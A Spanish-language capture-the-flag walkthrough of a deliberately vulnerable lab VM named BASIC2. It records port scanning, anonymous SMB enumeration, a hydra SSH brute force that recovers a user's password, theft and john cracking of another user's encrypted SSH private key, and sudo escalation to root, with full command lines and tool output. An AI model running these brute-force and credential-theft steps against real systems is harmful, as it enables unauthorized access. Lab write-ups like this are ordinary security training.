Last updated
Last updated
Info:
Vemos varios puertos interesantes para enumerar por lo que haremos lo siguiente...
Info:
Vemos que hay un recurso compartido llamado Anonymous, por lo que haremos lo siguiente...
Vemos que hay un archivo llamado staff.txt el cual nos lo descargaremos...
Y veremos el siguiente contenido...
Descubrimos algunos nombres a parte de descubrir 2 nombres a parte con el enum4linux llamados...
El texto te da una idea a que se puede cargar por smb algun recurso con alguna Reverse Shell o algo parecido...
Info:
Vemos que hay un directorio llamado /development por lo que iremos a la siguiente URL...
Con esto veremos 2 .txt llamados dev.txt y t.txt que el contenido de cada uno sera el siguiente...
dev.txt
t.txt
Estos mensajes nos da a pensar que se puede explotar la password del usuario jan...
Por lo que si le tiramos un hydra pasaria lo siguiente...
Info:
Por lo que vemos nos saca las credenciales del usuario jan...
Nos conectamos por ssh...
Una vez dentro del usuario nos vamos a la carpeta de Kay donde veremos un .ssh y si entramos dentro vemos que podemos leer la id_rsa privada a parte de que tiene un authorized_keys por lo que ya confirmamos que si nos podemos meter de forma externa con esa clave...
id_rsa
En nuestro host creamos el archivo id_rsa pegando el id_rsa del usuario Kay, una vez hecho eso hacemos lo siguiente...
Info:
Info:
Por lo que vemos sabemos la password de la comparacion del id_rsa, por lo que ya si que nos conectaremos mediante la clave privada por ssh...
Una vez hecho esto ya estariamos dentro con el usuario Kay...
En la home del mismo usuario, vemos que hay un archivo llamado pass.bak por lo que si lo leemos vemos lo siguiente...
Por lo que parece es la contraseña del usuario kay...
Metemos esa password y veremos lo siguiente...
Esto indica que tenemos todos los privilegios para poder ser root...
Y ya seriamos root, por lo que leeremos la flag...
flag.txt (flag_final)
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-08 07:13 EDT
Nmap scan report for 192.168.5.174
Host is up (0.00019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:AF:5C:F7 (VMware)
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-06-08T11:13:42
|_ start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2024-06-08T07:13:42-04:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.80 secondsenum4linux <IP>Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jun 8 07:23:02 2024
=========================================( Target Information )=========================================
Target ........... 192.168.5.174
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 192.168.5.174 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 192.168.5.174 )===============================
Looking up status of 192.168.5.174
BASIC2 <00> - B <ACTIVE> Workstation Service
BASIC2 <03> - B <ACTIVE> Messenger Service
BASIC2 <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
===================================( Session Check on 192.168.5.174 )===================================
[+] Server 192.168.5.174 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.5.174 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 192.168.5.174 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 192.168.5.174 from srvinfo:
BASIC2 Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu
platform_id : 500
os version : 6.1
server type : 0x809a03
=======================================( Users on 192.168.5.174 )=======================================
Use of uninitialized value $users in print at ./enum4linux.pl line 972.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.
Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.
=================================( Share Enumeration on 192.168.5.174 )=================================
Sharename Type Comment
--------- ---- -------
Anonymous Disk
IPC$ IPC IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP
[+] Attempting to map shares on 192.168.5.174
//192.168.5.174/Anonymous Mapping: OK Listing: OK Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.5.174/IPC$ Mapping: N/A Listing: N/A Writing: N/A
===========================( Password Policy Information for 192.168.5.174 )===========================
[+] Attaching to 192.168.5.174 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] BASIC2
[+] Builtin
[+] Password Info for Domain: BASIC2
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
======================================( Groups on 192.168.5.174 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on 192.168.5.174 via RID cycling (RIDS: 500-550,1000-1050) )==================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
===============================( Getting printer info for 192.168.5.174 )===============================
No printers returned.
enum4linux complete on Sat Jun 8 07:23:19 2024smbclient //<IP>/Anonymous -Nget staff.txtAnnouncement to staff:
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
-KayKay
Jangobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.174/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt (Status: 403) [Size: 301]
/.htaccess.html (Status: 403) [Size: 302]
/.htaccess (Status: 403) [Size: 297]
/.htpasswd.php (Status: 403) [Size: 301]
/.htaccess.php (Status: 403) [Size: 301]
/.htpasswd (Status: 403) [Size: 297]
/.htpasswd.txt (Status: 403) [Size: 301]
/.htpasswd.html (Status: 403) [Size: 302]
/development (Status: 200) [Size: 1132]
/index.html (Status: 200) [Size: 158]
/server-status (Status: 403) [Size: 301]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================URL = http://<IP>/development/2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -JFor J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-Khydra -l jan -P <WORDLIST> ssh://<IP> -t 64Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-08 07:39:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.5.174:22/
[STATUS] 419.00 tries/min, 419 tries in 00:01h, 14344014 to do in 570:34h, 30 active
[22][ssh] host: 192.168.5.174 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-08 07:42:21User = jan
Password = armandossh jan@<IP>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
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3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----chmod 600 id_rsassh2john id_rsa > <FILE>id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d19402729c471837fbdbe7eb172e8e9cd40ee52d959a3d772204241e305194ee7813ec99be3ced17455644ce550ad51edcb52b668bcb62e46b60a77e3cfc2e5bfe14c69db0d5d1be3c3f1d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae40d2bf15f36dd7d702400dfb74f9154e3d00454a049b599cb4c4070df59b18efd252d702a21a5f941f79731a70840e51608701396955798d946e01686edc557b350263e279f971eee37846e07d3594b8669d25a656c26f85046b05f44edf9529dea4ce1f8193469485640909d9dbfd4f9d45ab2ede8c6aca494a53674fb1e53bae5bcf02a6bacbea202bfc284db9d3ae446780aa8b431325948599c9ee32acb1137dcdbbe61cd555887a1642e0b4e7da972d1b32a188accf9e595a173ab64f065bfc8b23530dd0c4de3463a9b38694fb34d6101628847150f684af5f25719f8e958d34570da834bdb129482d4295768f01f4e3219d5db7c92d85a55f19c926954c84a0ba6bbe697b8655c5f98cb7441c2b8a0a3b569118ca8b14dc1a3f125857a1dab94a1513137b6d4a68f9e2d856ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a666bffd21c114e7adb455858d4251fef118d99b9b3607ccd130329a44da2f261526951422440b7703827e53bd05177e1e82249455ae177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148de21b2f305c5ba6d7e6cf9bf7978579c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019cce1c84570aed1a6f0918ec2b25985440c9318bdcf3b674cacbcea559fd5a714e51d38df94e2960fe8f98d53865dd907a434859811764864ccb2a6e18215d03448045febf90ac06a073800822b78a101028a6cef927e581705a1d76fa934a1c31001620ec5826e9cf28df1bcf39502c9b3526b65789b86555a3de57b5f6e4d694caee6ee1b82d1616ff7fc68129b7a5e1795647ee07c5ba2da49c7a45507210f67f91588eab74b51a9c074916689f7db4c40e2138f91c1bae890f21e54ba077dbcb95888e836ba7eb6223a70384c48c94cf3b946971210a40a220eb980809ba5c5a3d54e08f6610765e1dcd2bda5cae7d96e77d852bd2a095a3cfa64bc5fbe6c79ea0dcfc6ae40be03238217213ab9b1a0873f8cbf9ed9b3d40dd0d0536365702a7452bf85301d84c4397621979cdc37b5b983f301af78655f352684c57799037f633a09b755ba0de9c017a73d76e0a8f46c4c33c4207358a8b408f1c52d8b8ca0378ba8ffcd224a125e5a0973c6997a6225e51007e600c22d3e24ebbc1e8bd8ff250eb32d44f4bd298ba27a3522215db0c3b89d49f2277cfedd74c3b59a1497936263826308f2e14cd363025aa7a5c39aa9a77b815dd10ff6ac9a5d8bda4074513f0fad3b6df926da5ca3c51f47479a8c271a60dab493fe78cadce92f3debe1c05ef72f3f194a36d23bfa3b0d4f0b8f04236d485be8d7d97dfb1c5de79613568d58f113308e8a73c7b87ca11b7b53e63d37f055b5bb7e5f39982e7bbedea3aae16daa3b29ccd8f9d98d53e97a1fbc0c1a2e701e5b7d7b224a4371358b02103e25b29c54138b8c4b7c9706967fe384b263c284ceb0336887e7da79e3c10d54d85689c0db4c379388b2138d0c40017fd2256aae3a2d21a93116a134d5f0ce8ce1fbf2c61509868c823fccdff62aca54796ff99aa5b0bc588af10537f26eccfa6962e595fbeac9df244f6cbaf6b77a11cfd8078de615833305fe0ae0d22173e8d744435fe3a69a81313109f9c5cdcb56d67544a36aa27a3b7c0db50b3b829972368ff2ed998c1910b392720c0d4cbaa907a49f2c38f970503971d64b6972f5b7b5c34735a08129c2b7ee82c6ccc49ddc943a5ae2f4467c5d7a07859e39ae00023c771d59caca0817ce412d35849abd9d225ed96e34de5266b31fd4dd82dab9469582b1e41687a39f108da54b6e84771542cb11f5c522e62b79b6867e8a20df2e8c9bf9ff36634c0de536fa3d377fa27543b6c90895f13bdf50f03b2dd97e5d25d452fa6a0d225704eb3c19751864285dfe3031bc2ff5b0c5d19a7feae6ad5625757477aa3c3f0eb635717f1f5b9037b3a76425db2a2151e2810eefbb75853d939360d1240093b2497a8903eff9b98bc705c2afe0e5541af2bb06b0ec50e4caf798a7f59ffc3a3e70565d887b9f694bdfa64d15a70ed55eacccc69af3fe3cf5aa5b6e3a7186eb5036e12efe53fcc509719a6a6f3ec0c008cb6a035229a1597d9be6beb13444d84c93f2164844c8ae69aa13648578087b98e90dd03f9da47d9ce306dddc88dd80998bf6d3910d209bebb1a70f8b73d944d949b1b1b19b13a455776f3c2e6647fa6722fc2bad5b202502684e91514a11e3437a92a09febffcfc3d55095b43e14b0567e8f5cbd91728b693fe82b8f75ccaf27c0651152faaf0610d2edcabc0b9ac51895180fbf60b868771dee58edb97e99d5ca3592cc9733a76ae0b96ca5788be62e8fb006204c574482579701781b46ec979bdbc9d339e57967051ca87fadae7184bd79cac0af834632081c5df6189dcc4cc8a0170cac12c30c1fff21c4c17f20813112bf901df81c5d78ca22024f1cd58cb5b73c1d68c6529ce4b21d7b95941e099f9a6140bdd1f0ead9113b2e5f17c354aacf79a38a104d6f844559417552387182ba20d890203a6a5e9661d23d8b6fae351a208ef5550555592011fec39609858b6b22743b0cca80c97d58076a660be95e460177cab3fd6b690b01a0e4f5d0507157afe9c4dc7f384187256a9a5d56ab00d466d44e4f07e5f348e8f100e5abe1c4d1bbc207fa3617140a604b607c7e3f5020f9aabb0700ad790e7847e085eb2243e503bf7d097ae15a2ee6179262e351773bb880123c0a87a43f62380fbe08fc2c63ac08ffe2ba0c6deeefbdd49eeaa2ffd1053aceec67b25f92dcfd25b58fa4fab2328481af26f5f4b5d21e1312b78f913b7f08254b064336d84c1aa3c82582e1cde55b5a347d264cb9e98df34b5490831e5d212b38b7cd999daf186a97efd6250e1e6820079358542f77ac78ddd9a505919c318000fc47f8b80fc84f12cf58adf1a3ee3fc8190015058c16c414cc0d6017b9a1fb032ee20e842573b30fc3214ac5fb8962437477e81bb6479fa498f148924796d6d616218ec2a5fa0949def8542dc9b75fd95b75c26fbe91ef9b06e61e90e0df20bb973f33471dab5e87f4c1f0a5d8a7f4e653a8edb337116fa6e5ed858john --wordlist=<WORDLIST> <FILE>Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2024-06-08 07:56) 16.66g/s 1379Kp/s 1379Kc/s 1379KC/s bird..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.ssh -i id_rsa kay@<IP>heresareallystrongpasswordthatfollowsthepasswordpolicy$$User = kay
Password = heresareallystrongpasswordthatfollowsthepasswordpolicy$$sudo -lMatching Defaults entries for kay on basic2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kay may run the following commands on basic2:
(ALL : ALL) ALLsudo suCongratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!
If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.
Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send
me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach
out to me.
Happy hacking!